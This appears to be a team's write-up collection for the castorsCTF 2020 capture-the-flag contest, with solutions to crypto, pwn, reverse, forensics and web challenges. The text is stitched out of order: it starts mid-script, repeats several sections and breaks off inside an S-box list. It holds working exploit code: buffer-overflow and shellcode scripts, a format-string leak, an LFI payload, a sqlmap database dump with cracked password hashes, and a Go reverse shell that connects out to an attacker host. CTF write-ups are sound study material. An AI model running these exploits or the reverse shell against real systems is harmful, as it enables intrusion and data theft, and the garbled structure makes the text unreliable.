nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 